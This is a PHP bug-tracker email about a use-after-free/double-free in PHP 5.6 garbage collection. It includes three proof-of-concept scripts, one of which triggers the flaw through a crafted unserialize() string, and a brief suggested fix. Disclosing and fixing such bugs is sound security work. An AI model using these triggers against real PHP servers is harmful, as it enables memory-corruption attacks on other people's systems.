Sec Bug->Bug #72605 [Opn]: Use After Free/Double Free in Garbage Collection

Edit report at https://bugs.php.net/bug.php?id=72605&edit=1 ID: 72605 Updated by: stas@php.net Reported by: taoguangchen at icloud dot com Summary: Use After Free/Double Free in Garbage Collection Status: Open -Type: Security +Type: Bug Package: *General Issues PHP Version: 5.6Git-2016-07-16 (Git) -Assigned To: +Assigned To: dmitry Block user comment: N Private report: Y Previous Comments: ------------------------------------------------------------------------ [2016-07-16 03:56:57] taoguangchen at icloud dot com Description: ------------ It is possible to lead to use-after-free/double-free vulnerability since @dmitry added this commit 1c84b55adea936b065a20102202bea3d1d243225 to PHP5 series. PoC1: ``` <?php $std = new stdClass; $val = &$std; $std->x = $val; $arr = [$std]; $ref = $arr[0]; unset($arr); gc_collect_cycles(); ?> ``` PoC2: ``` <?php $dll = new SplDoublyLinkedList; $val = &$dll; $dll->push($val); $arr = [$dll]; $ref = $arr[0]; unset($arr); gc_collect_cycles(); ?> ``` PoC3: ``` <?php $inr = 'i:0;:R:2;'; $uns = 'a:1:{i:0;C:19:"SplDoublyLinkedList":'.strlen($inr).':{'.$inr.'}}'; $arr = unserialize($uns); $ref = $arr[0]; unset($arr); gc_collect_cycles(); ?> ``` Fix: ``` +if (obj->refcount <= 0 ) { obj->refcount = 1; +} ``` ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=72605&edit=1